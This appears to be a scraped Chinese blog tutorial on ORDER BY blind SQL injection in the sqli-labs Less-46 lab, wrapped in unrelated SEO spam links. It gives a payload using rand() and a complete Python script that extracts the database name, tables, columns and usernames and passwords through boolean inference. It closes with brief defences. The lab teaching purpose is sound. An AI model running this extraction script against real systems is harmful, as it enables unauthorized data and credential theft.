当前位置: 首页 > news >正文

郑州网站建设 服务创业四川省建设信息网站

郑州网站建设 服务创业,四川省建设信息网站,辽宁建设工程信息网新入口,如何选择邯郸网站制作目录 一.order by盲注的原理 二.注入方式 a.布尔盲注 b.时间盲注 三.防御 一.order by盲注的原理 order by子句是用于按指定列排序查询结果,列名或列序号皆可。 order by 后面接的字段或者数字不一样,那么这个数据表的排序就会不同。 order by 盲…

目录

一.order by盲注的原理

二.注入方式

a.布尔盲注

b.时间盲注

三.防御


一.order by盲注的原理

order by子句是用于按指定列排序查询结果,列名或列序号皆可。

order by 后面接的字段或者数字不一样,那么这个数据表的排序就会不同。

order by 盲注利用的就是这一点。

二.注入方式

环境为sqli-labs的46关,参数为sort传入id

      a.布尔盲注

        传入1时

        传入2时

        传入3时

不同字段的顺序是不同的,根据这个结果,我们可以用rand()实现盲注

?sort=rand(ascii(substr((select database()),1,1))>114)

转为ASCII码来比较真假,为真时第一列为admin3,为假时第一列为Dumb

下面是脚本内容

import time
import requests
from bs4 import BeautifulSoupdef inject_database(url): #库dataname = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select database()),%d,1))>%d) " % (i, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakdataname += chr(mid)return datanamedef inject_tables(url, database_name):#表tables = []for i in range(0, 10): table_name = ''for j in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select table_name from information_schema.tables where table_schema='%s' limit %d,1),%d,1)) > %d) " % (database_name, i, j, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breaktable_name += chr(mid)if table_name:tables.append(table_name)print(f"Table {i+1}: {table_name}")return tablesdef inject_columns(url, database_name, table_name):#列columns = []for i in range(0, 10): column_name = ''for j in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1),%d,1)) > %d) " % (database_name, table_name, i, j, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakcolumn_name += chr(mid)if column_name:columns.append(column_name)print(f"Column {i+1}: {column_name}")return columnsdef inject_data(url, database_name, table_name, column_name):#数据data = []for i in range(0, 10): row_data = ''for j in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(substr((select %s from %s.%s limit %d,1),%d,1)) > %d) " % (column_name, database_name, table_name, i, j, mid)res = {"sort": payload}r = requests.get(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getusername = soup.find_all('td')[1].textif getusername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakrow_data += chr(mid)if row_data:data.append(row_data)print(f"Row {i+1}: {row_data}")return dataif __name__ == '__main__':url = 'http://127.0.0.1/sqli/Less-46/'database_name = inject_database(url)print(f"Database Name: {database_name}")tables = inject_tables(url, database_name)print(f"Tables: {tables}")if tables:columns = inject_columns(url, database_name, tables[3])print(f"Columns: {columns}")if columns:username = inject_data(url, database_name, tables[3], columns[1])password = inject_data(url, database_name, tables[3], columns[2])print(f"Data: {username}")print(f"Data: {password}")

b.时间盲注

        时间盲注不依赖页面内容,直接通过响应时间判断条件,因此无需解析html

三.防御

1.预编译,如PHP的PDO

2.最小权限原则,限制数据库用户权限,仅允许执行必要的操作。

3.输入长度限制

4.部署WAF

http://www.yayakq.cn/news/71885/

相关文章:

  • 免费crm网站不用下载的软件纳米加工平台
  • 肥城网站建设电话wordpress标签设置主页
  • 食品公司网站设计项目php 获取网站根域名
  • 网站数据库配置网站源码上传
  • 医疗网站跳出率郑州网站开发公司电话
  • 涪陵做网站wordpress分页样式
  • 标准网站有哪些找人做网站 优帮云
  • php网站建设管理教材网站建设咨询公
  • 上海高端网站开发站霸网络网站平台搭建要多少钱
  • 郑州市网站和公众号建设wordpress 外网访问不了
  • 网站建设详细需求文档重庆网站建设推广公司哪家好
  • 如果做局域网影音网站做有弹幕视频网站
  • seo对网站的作用网站后台空白
  • 网站开发技术三大件最专业的网站开发公司哪家最专业
  • 开发微网站pc网站运营
  • 建设网站网站建站asp.net网站开发第一步
  • 建设网站的好处wordpress分类
  • 外贸做网站用什么分类信息网站排行
  • 我想找个做代理的网站郑州知名做网站公司
  • WordPress侧边按钮插件白帽seo
  • 微信建设网站网页链接下载
  • 设计素材网站模板网站名词解释
  • 企业做网站有什么好处好看网站
  • 如何用服务器搭建网站开发电商网站多少钱
  • 高端大气网站欣赏wordpress自定义界面
  • 怎么知道网站是什么开源做的企业做网站和开展电子商务的好处
  • 景区网站建设的好处广告传媒网站模板
  • 网站建设网银开通网上商店有哪些特点
  • 敦煌网站做外贸怎样百度云网盘资源搜索引擎入口
  • 怎么做谷歌收录的网站吗一门app开发平台